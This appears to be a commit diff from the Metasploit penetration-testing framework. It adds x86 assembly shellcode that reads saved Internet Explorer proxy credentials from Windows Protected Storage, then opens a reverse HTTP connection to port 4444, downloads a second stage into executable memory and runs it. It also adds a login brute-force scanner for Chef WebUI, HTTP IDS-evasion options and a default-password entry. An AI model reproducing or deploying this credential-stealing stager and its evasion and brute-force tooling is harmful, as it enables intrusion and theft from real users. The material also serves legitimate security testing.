Merge pull request #3 from jvazquez-r7/review_3074_clean_server

Land the merge. Code looks good to me! :-) thanks @jvazquez-r7
bug/bundler_fix
Matthew Hall 2015-02-28 22:10:17 +00:00
commit 402fa127e6
118 changed files with 5404 additions and 2598 deletions

View File

@ -25,7 +25,6 @@ script:
- git diff --exit-code && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '1.9.3'
- '2.1'
notifications:

View File

@ -22,9 +22,9 @@ PATH
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
activerecord (>= 3.2.21, < 4.0.0)
metasploit-credential (~> 0.13.19)
metasploit-credential (~> 0.14.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 0.22.8)
metasploit_data_models (~> 0.23.0)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
@ -112,10 +112,10 @@ GEM
metasploit-concern (0.3.0)
activesupport (~> 3.0, >= 3.0.0)
railties (< 4.0.0)
metasploit-credential (0.13.19)
metasploit-credential (0.14.0)
metasploit-concern (~> 0.3.0)
metasploit-model (~> 0.29.0)
metasploit_data_models (~> 0.22.8)
metasploit_data_models (~> 0.23.0)
pg
railties (< 4.0.0)
rubyntlm
@ -123,7 +123,7 @@ GEM
metasploit-model (0.29.0)
activesupport
railties (< 4.0.0)
metasploit_data_models (0.22.8)
metasploit_data_models (0.23.0)
activerecord (>= 3.2.13, < 4.0.0)
activesupport
arel-helpers

View File

@ -5,3 +5,4 @@ root owaspbwa
ADMIN ADMIN
xampp xampp
tomcat s3cret
QCC QLogic66

View File

@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
ActiveRecord::Schema.define(:version => 20150205192745) do
ActiveRecord::Schema.define(:version => 20150212214222) do
create_table "api_keys", :force => true do |t|
t.text "token"
@ -454,6 +454,7 @@ ActiveRecord::Schema.define(:version => 20150205192745) do
t.text "info"
end
add_index "services", ["host_id", "port", "proto"], :name => "index_services_on_host_id_and_port_and_proto", :unique => true
add_index "services", ["name"], :name => "index_services_on_name"
add_index "services", ["port"], :name => "index_services_on_port"
add_index "services", ["proto"], :name => "index_services_on_proto"

View File

@ -0,0 +1,209 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Confirmed Windows Server 2003, IE Versions 4 to 6
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'
; Output: top element of stack will be pointer to null-terminated password and
; second will be pointer to null-terminated username of the Proxy saved in IE
pushad
jmp after_functions
alloc_memory: ; returns address to allocation in eax
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x1000 ; allocate 1000 byte for each variable (could be less)
push 0 ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXE$
ret ;
;
after_functions: ;
;
; allocate memory for variables and save pointers on stack
mov bl, 9 ;
alloc_loop: ;
call alloc_memory ;
push eax ; save allocation address on stack
dec bl ;
jnz alloc_loop ;
;
load_pstorec: ; loads the pstorec.dll
push 0x00636572 ; Push the bytes 'pstorec',0 onto the stack.
push 0x6f747370 ; ...
push esp ; Push a pointer to the 'pstorec',0 string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "pstorec" )
; this should leave a handle to the pstorec
; DLL-Module in eax
pop edx ; remove 'pstorec' string from stack
pop edx
PStoreCreateInstance_PStore:
; returns address to PStore in pPStore
pop edi ; pop pPstore
push edi ; restore stack
;
push 0 ;
push 0 ;
push 0 ;
push edi ; arg4: pPstore
push 0x2664BDDB ; hash ( "pstorec.dll", "PStoreCreateInstance" )
call ebp ; PstoreCreateInstance(address, 0, 0, 0)
;
PStore.EnumTypes: ; returns address to EnumPStoreTypes in pEnumPStoreTypes
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
push edx ; restore stack
push eax ;
;
push edx ; arg1: pEnumPstoreTypes
push 0 ; arg2: NULL
push 0 ; arg3: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll
mov edx, [edx+0x38] ; &EnumTypes() = *(*(&PStore)+0x38)
call edx ; call IPStore::EnumTypes
mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected
;
EnumPStoreTypes.raw_Next:
pop eax ; pop pPStore
pop edx ; pop pEnumPStoreTypes
pop ecx ; pop pTypeGUID
push ecx ; restore stack
push edx ;
push eax ;
;
push 0 ; arg1: NULL
push ecx ; arg2: pTypeGUID
push 1 ; arg3: 1
mov edx, [edx] ; load base address of EnumPStoreTypes
push edx ; push base address of EnumPStoreTypes (this)
mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C)
call edx ; call EnumPStoreTypes::raw_Next
;
mov eax, [esp+8] ;
mov eax, [eax] ;
;
test eax, eax ;
jz no_auth ; no Password found
cmp edi, eax ; do this until TypeGUID indicates "IE Password Protected sites"
jne EnumPStoreTypes.raw_Next
;
PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ()
pop eax ; pop pPstore
pop edx ; pop pEnumPstoreTypes
pop ecx ; pop pTypeGUID
pop edi ; pop pEnumSubtypes
push edi ; restore stack
push ecx ;
push edx ;
push eax ;
;
push edi ; arg1: pEnumSubtypes
push 0 ; arg2: NULL
push ecx ; arg3: pTypeGUID
push 0 ; arg4: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll
mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C)
call edx ; call IPStore::EnumSubtypes
;
EnumSubtypes.raw_Next:
mov eax, [esp+0x0C] ; pop pEnumSubtypes
mov edx, [esp+0x10] ; pop psubTypeGUID
;
push 0 ; arg1: NULL
push edx ; arg2: psubTypeGUID
push 1 ; arg3: 1
mov eax, [eax] ; load base address of EnumSubtypes in eax
push eax ; push base address of EnumSubtypes (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C)
call edx ; call EnumSubtypes.raw_Next
;
PStore.EnumItems:
pop eax ; pop pPstore
pop ecx ;
pop edx ; pop pTypeGUID
push edx ; restore stack
push ecx ;
push eax ;
mov ecx, [esp+0x10] ; pop psubTypeGUID
mov edi, [esp+0x14] ; pop pspEnumItems
;
push edi ; arg1: pspEnumItems
push 0 ; arg2: NULL
push ecx ; arg3: psubTypeGUID
push edx ; arg4: pTyoeGUID
push 0 ; arg5: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base address of PStore (this)
mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll
mov edx, [edx+0x54] ;
call edx ; call IPStore::Enumitems
;
spEnumItems.raw_Next:
mov eax, [esp+0x14] ; pop pspEnumItems
mov ecx, [esp+0x18] ; pop pitemName
;
push 0 ; arg1: NULL
push ecx ; arg2: pitemName
push 1 ; arg3: 1
mov eax, [eax] ; load base address of spEnumItems in eax
push eax ; push base addres of spEnumItems (this)
mov edx, [eax] ; get function address of raw_Next in pstorec.dll
mov edx, [edx+0x0C] ;
call edx ;
;
PStore.ReadItem:
pop eax ; pop pPStore
push eax ;
;
push 0 ; arg1: NULL
push 0 ; arg2: NULL (stiinfo not needed)
mov ecx, [esp+0x24] ; pop ppsData (8. Element)
push ecx ; arg3: ppsData
mov ecx, [esp+0x2C] ; pop ppsDataLen
push ecx ; arg4: ppsDataLen (not needed?)
mov ecx, [esp+0x28] ; pop pitemName (7. Element)
mov ecx, [ecx] ;
push ecx ; arg5: pitemName
mov ecx, [esp+0x24] ; pop psubTypeGUID (5. Element)
push ecx ; arg6: psubTypeGUID
mov ecx, [esp+0x20] ; pop pTypeGUID (3. Element)
push ecx ; arg7: pTypeGUID
push 0 ; arg8: NULL
mov eax, [eax] ; load base address of PStore in eax
push eax ; push base addres of PStore (this)
mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll
mov edx, [edx+0x44] ;
call edx ;
;
split_user_pass:
mov eax, [esp+0x1C] ; eax = ppsData
mov eax, [eax] ; now eax contains pointer to "user:pass"
push eax ; push pointer to user
mov cl, byte 0x3a ; load ":" in ecx
mov dl, byte [eax] ; load first byte of ppsData in edx
cmp cl, dl ;
jz no_auth ;
loop_split: ;
inc eax ;
mov dl, byte [eax] ;
cmp cl, dl ;
jnz loop_split ; increase eax until it points to ":"
;
mov [eax], byte 0x00 ; replace ":" with 00
inc eax ;
push eax ; push pointer to pass
;
no_auth:

View File

@ -0,0 +1,157 @@
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Top and second top element of stack can be pointer to null-terminated
; password and pointer to null-terminated username of a proxy server to connect to.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor edi, edi
push edi ; DWORD_PTR dwContext (NULL)
push edi ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push edx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short httpsendrequest
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
;//////////////////////////////////
;//get proxy credentials from stack
;//////////////////////////////////
get_proxy_auth:
pop esi ; delete the top 3 stack elements as they are
pop esi ; garbage from this block
pop esi
pop ecx ; save pointer to password in ecx
pop edx ; save pointer to username in edx
;/////////////////////////////////////////////////
; we use the credentials only in internetconnect//
;/////////////////////////////////////////////////
call internetconnect
server_host:

View File

@ -0,0 +1,18 @@
;-----------------------------------------------------------------------------;
; Author: Unknown
; Compatible: Windows Server 2003, IE Versions 4 to 6
; Build: >build.py stager_reverse_http_proxy_pstore
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_get_pstore_creds.asm"
%include "./src/block/block_reverse_http_use_proxy_creds.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -36,6 +36,7 @@ Feature: Help command
pushm Pushes the active or list of modules onto the module stack
quit Exit the console
reload_all Reloads all modules from all defined module paths
rename_job Rename a job
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores

View File

@ -77,8 +77,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
#vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -87,8 +86,7 @@ module Metasploit
when -5001 #kFPAuthContinue
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
:password => pass, :user => user})
when -5023 #kFPUserNotAuth (User dosen't exists)
#print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists")
when -5023 #kFPUserNotAuth (User dosen't exists)
return :skip_user
else
return :connection_error
@ -123,8 +121,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -180,8 +177,7 @@ module Metasploit
begin
response = sock.timed_read(1024, self.login_timeout)
rescue Timeout::Error
vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)")
return :connection_error
raise RuntimeError, "AFP Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)"
end
flags, command, request_id, error_code, length, reserved = parse_header(response)
@ -201,7 +197,7 @@ module Metasploit
parsed_data = {}
flags, command, request_id, error_code, length, reserved = parse_header(response)
raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0
raise RuntimeError, "AFP Server response with error" if error_code != 0
body = get_body(response, length)
machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags =
body.unpack('nnnnn')
@ -243,7 +239,7 @@ module Metasploit
def get_body(packet, body_length)
body = packet[16..body_length + 15]
raise "AFP #{rhost}:#{rport} Invalid body length" if body.length != body_length
raise RuntimeError, "AFP Invalid body length" if body.length != body_length
return body
end
@ -291,7 +287,7 @@ module Metasploit
when 7 # IPv6 address (16 bytes) followed by a two-byte port number
parsed_addreses << "[#{IPAddr.ntop(address[1..16])}]:#{address[17..18].unpack("n").first}"
else # Something wrong?
raise "Error parsing network addresses"
raise RuntimeError, "Error parsing network addresses"
end
end
return parsed_addreses

View File

@ -31,7 +31,12 @@ module Metasploit
rescue Rex::ConnectionError, EOFError, Timeout::Error
status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
else
success = login(credential.public, credential.private)
begin
success = login(credential.public, credential.private)
rescue RuntimeError => e
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => e.message}
end
status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT
end

View File

@ -20,7 +20,7 @@ module Metasploit
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -35,6 +35,7 @@ module Metasploit
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -0,0 +1,144 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The ChefWebUI HTTP LoginScanner class provides methods to authenticate to Chef WebUI
class ChefWebUI < HTTP
DEFAULT_PORT = 80
PRIVATE_TYPES = [ :password ]
# @!attribute session_name
# @return [String] Cookie name for session_id
attr_accessor :session_name
# @!attribute session_id
# @return [String] Cookie value
attr_accessor :session_id
# Decides which login routine and returns the results
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result]
def attempt_login(credential)
result_opts = { credential: credential }
begin
status = try_login(credential)
result_opts.merge!(status)
rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error => e
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e)
end
Result.new(result_opts)
end
# (see Base#check_setup)
def check_setup
begin
res = send_request({'uri' => normalize_uri('/users/login')})
return "Connection failed" if res.nil?
if res.code != 200
return "Unexpected HTTP response code #{res.code} (is this really Chef WebUI?)"
end
if res.body.to_s !~ /<title>Chef Server<\/title>/
return "Unexpected HTTP body (is this really Chef WebUI?)"
end
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
return "Unable to connect to target"
end
false
end
# Sends a HTTP request with Rex
#
# @param (see Rex::Proto::Http::Resquest#request_raw)
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)
# Save the session ID cookie
if res && res.get_cookies =~ /(_\w+_session)=([^;$]+)/i
self.session_name = $1
self.session_id = $2
end
res
end
# Sends a login request
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Rex::Proto::Http::Response] The HTTP auth response
def try_credential(csrf_token, credential)
data = "utf8=%E2%9C%93" # ✓
data << "&authenticity_token=#{Rex::Text.uri_encode(csrf_token)}"
data << "&name=#{Rex::Text.uri_encode(credential.public)}"
data << "&password=#{Rex::Text.uri_encode(credential.private)}"
data << "&commit=login"
opts = {
'uri' => normalize_uri('/users/login_exec'),
'method' => 'POST',
'data' => data,
'headers' => {
'Content-Type' => 'application/x-www-form-urlencoded',
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
send_request(opts)
end
# Tries to login to Chef WebUI
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def try_login(credential)
# Obtain a CSRF token first
res = send_request({'uri' => normalize_uri('/users/login')})
unless (res && res.code == 200 && res.body =~ /input name="authenticity_token" type="hidden" value="([^"]+)"/m)
return {:status => Metasploit::Model::Login::Status::UNTRIED, :proof => res.body}
end
csrf_token = $1
res = try_credential(csrf_token, credential)
if res && res.code == 302
opts = {
'uri' => normalize_uri("/users/#{credential.public}/edit"),
'method' => 'GET',
'headers' => {
'Cookie' => "#{self.session_name}=#{self.session_id}"
}
}
res = send_request(opts)
if (res && res.code == 200 && res.body.to_s =~ /New password for the User/)
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body}
end
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body}
end
end
end
end
end

View File

@ -62,6 +62,7 @@ module Metasploit
# @return [Rex::Proto::Http::Response] The HTTP response
def send_request(opts)
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_raw(opts)
res = cli.send_recv(req)

View File

@ -37,6 +37,122 @@ module Metasploit
# @return [String] the Virtual Host name for the target Web Server
attr_accessor :vhost
# @!attribute evade_uri_encode_mode
# @return [String] The type of URI encoding to use
attr_accessor :evade_uri_encode_mode
# @!attribute evade_uri_full_url
# @return [Boolean] Whether to use the full URL for all HTTP requests
attr_accessor :evade_uri_full_url
# @!attribute evade_pad_method_uri_count
# @return [Fixnum] How many whitespace characters to use between the method and uri
attr_accessor :evade_pad_method_uri_count
# @!attribute evade_pad_uri_version_count
# @return [Fixnum] How many whitespace characters to use between the uri and version
attr_accessor :evade_pad_uri_version_count
# @!attribute evade_pad_method_uri_type
# @return [String] What type of whitespace to use between the method and uri
attr_accessor :evade_pad_method_uri_type
# @!attribute evade_pad_uri_version_type
# @return [String] What type of whitespace to use between the uri and version
attr_accessor :evade_pad_uri_version_type
# @!attribute evade_method_random_valid
# @return [Boolean] Whether to use a random, but valid, HTTP method for request
attr_accessor :evade_method_random_valid
# @!attribute evade_method_random_invalid
# @return [Boolean] Whether to use a random invalid, HTTP method for request
attr_accessor :evade_method_random_invalid
# @!attribute evade_method_random_case
# @return [Boolean] Whether to use random casing for the HTTP method
attr_accessor :evade_method_random_case
# @!attribute evade_uri_dir_self_reference
# @return [Boolean] Whether to insert self-referential directories into the uri
attr_accessor :evade_uri_dir_self_reference
# @!attribute evade_uri_dir_fake_relative
# @return [Boolean] Whether to insert fake relative directories into the uri
attr_accessor :evade_uri_dir_fake_relative
# @!attribute evade_uri_use_backslashes
# @return [Boolean] Whether to use back slashes instead of forward slashes in the uri
attr_accessor :evade_uri_use_backslashes
# @!attribute evade_pad_fake_headers
# @return [Boolean] Whether to insert random, fake headers into the HTTP request
attr_accessor :evade_pad_fake_headers
# @!attribute evade_pad_fake_headers_count
# @return [Fixnum] How many fake headers to insert into the HTTP request
attr_accessor :evade_pad_fake_headers_count
# @!attribute evade_pad_get_params
# @return [Boolean] Whether to insert random, fake query string variables into the request
attr_accessor :evade_pad_get_params
# @!attribute evade_pad_get_params_count
# @return [Fixnum] How many fake query string variables to insert into the request
attr_accessor :evade_pad_get_params_count
# @!attribute evade_pad_post_params
# @return [Boolean] Whether to insert random, fake post variables into the request
attr_accessor :evade_pad_post_params
# @!attribute evade_pad_post_params_count
# @return [Fixnum] How many fake post variables to insert into the request
attr_accessor :evade_pad_post_params_count
# @!attribute evade_uri_fake_end
# @return [Boolean] Whether to add a fake end of URI (eg: /%20HTTP/1.0/../../)
attr_accessor :evade_uri_fake_end
# @!attribute evade_uri_fake_params_start
# @return [Boolean] Whether to add a fake start of params to the URI (eg: /%3fa=b/../)
attr_accessor :evade_uri_fake_params_start
# @!attribute evade_header_folding
# @return [Boolean] Whether to enable folding of HTTP headers
attr_accessor :evade_header_folding
# @!attribute ntlm_use_ntlmv2_session
# @return [Boolean] Whether to activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
attr_accessor :ntlm_use_ntlmv2_session
# @!attribute ntlm_use_ntlmv2
# @return [Boolean] Whether to use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' is enabled
attr_accessor :ntlm_use_ntlmv2
# @!attribute ntlm_send_lm
# @return [Boolean] Whether to always send the LANMAN response (except when NTLMv2_session is specified)
attr_accessor :ntlm_send_lm
# @!attribute ntlm_send_ntlm
# @return [Boolean] Whether to activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
attr_accessor :ntlm_send_ntlm
# @!attribute ntlm_send_spn
# @return [Boolean] Whether to send an avp of type SPN in the NTLMv2 client blob.
attr_accessor :ntlm_send_spn
# @!attribute ntlm_use_lm_key
# @return [Boolean] Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
attr_accessor :ntlm_use_lm_key
# @!attribute ntlm_domain
# @return [String] The NTLM domain to use during authentication
attr_accessor :ntlm_domain
# @!attribute digest_auth_iis
# @return [Boolean] Whether to conform to IIS digest authentication mode.
attr_accessor :digest_auth_iis
validates :uri, presence: true, length: { minimum: 1 }
@ -55,7 +171,7 @@ module Metasploit
)
begin
# Use _send_recv instead of send_recv to skip automatiu
# Use _send_recv instead of send_recv to skip automatic
# authentication
response = http_client._send_recv(request)
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
@ -77,7 +193,6 @@ module Metasploit
# login with.
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
ssl = false if ssl.nil?
result_opts = {
credential: credential,
@ -95,11 +210,11 @@ module Metasploit
end
http_client = Rex::Proto::Http::Client.new(
host, port, {}, ssl, ssl_version,
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version,
proxies, credential.public, credential.private
)
http_client = config_client(http_client)
configure_http_client(http_client)
if credential.realm
http_client.set_config('domain' => credential.realm)
@ -127,12 +242,53 @@ module Metasploit
private
def config_client(client)
client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
# This method is responsible for mapping the caller's datastore options to the
# Rex::Proto::Http::Client configuration parameters.
def configure_http_client(http_client)
http_client.set_config(
'vhost' => vhost || host,
'agent' => user_agent
)
client
possible_params = {
'uri_encode_mode' => evade_uri_encode_mode,
'uri_full_url' => evade_uri_full_url,
'pad_method_uri_count' => evade_pad_method_uri_count,
'pad_uri_version_count' => evade_pad_uri_version_count,
'pad_method_uri_type' => evade_pad_method_uri_type,
'pad_uri_version_type' => evade_pad_uri_version_type,
'method_random_valid' => evade_method_random_valid,
'method_random_invalid' => evade_method_random_invalid,
'method_random_case' => evade_method_random_case,
'uri_dir_self_reference' => evade_uri_dir_self_reference,
'uri_dir_fake_relative' => evade_uri_dir_fake_relative,
'uri_use_backslashes' => evade_uri_use_backslashes,
'pad_fake_headers' => evade_pad_fake_headers,
'pad_fake_headers_count' => evade_pad_fake_headers_count,
'pad_get_params' => evade_pad_get_params,
'pad_get_params_count' => evade_pad_get_params_count,
'pad_post_params' => evade_pad_post_params,
'pad_post_params_count' => evade_pad_post_params_count,
'uri_fake_end' => evade_uri_fake_end,
'uri_fake_params_start' => evade_uri_fake_params_start,
'header_folding' => evade_header_folding,
'usentlm2_session' => ntlm_use_ntlmv2_session,
'use_ntlmv2' => ntlm_use_ntlmv2,
'send_lm' => ntlm_send_lm,
'send_ntlm' => ntlm_send_ntlm,
'SendSPN' => ntlm_send_spn,
'UseLMKey' => ntlm_use_lm_key,
'domain' => ntlm_domain,
'DigestAuthIIS' => digest_auth_iis
}
# Set the parameter only if it is not nil
possible_params.each_pair do |k,v|
next if v.nil?
http_client.set_config(k => v)
end
http_client
end
# This method sets the sane defaults for things
@ -157,9 +313,21 @@ module Metasploit
self.ssl = true
end
if self.ssl.nil?
self.ssl = false
end
nil
end
# Combine the base URI with the target URI in a sane fashion
#
# @param [String] The target URL
# @return [String] the final URL mapped against the base
def normalize_uri(target_uri)
(self.uri.to_s + "/" + target_uri.to_s).gsub(/\/+/, '/')
end
end
end
end

View File

@ -12,8 +12,7 @@ module Metasploit
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
http_client = config_client(http_client)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -34,6 +34,7 @@ module Metasploit
end
begin
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_cgi({
'method'=>'POST',

View File

@ -36,6 +36,7 @@ module Metasploit
cred = Rex::Text.uri_encode(credential.private)
body = "data%5BLogin%5D%5Bowner_name%5D=admin&data%5BLogin%5D%5Bowner_passwd%5D=#{cred}"
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(
'method' => method,

View File

@ -21,7 +21,7 @@ module Metasploit
req_opts = {
'method' => 'POST',
'uri' => '/proxy/ssllogin',
'uri' => uri,
'vars_post' => {
'redirecturl' => '',
'redirectquerystring' => '',
@ -34,6 +34,7 @@ module Metasploit
begin
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
configure_http_client(cli)
cli.connect
req = cli.request_cgi(req_opts)
res = cli.send_recv(req)

View File

@ -12,6 +12,7 @@ module Metasploit
http_client = Rex::Proto::Http::Client.new(
host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies
)
configure_http_client(http_client)
result_opts = {
credential: credential,

View File

@ -0,0 +1,137 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
# The Zabbix HTTP LoginScanner class provides methods to do login routines
# for Zabbix 2.4 and 2.2
class Zabbix < HTTP
DEFAULT_PORT = 80
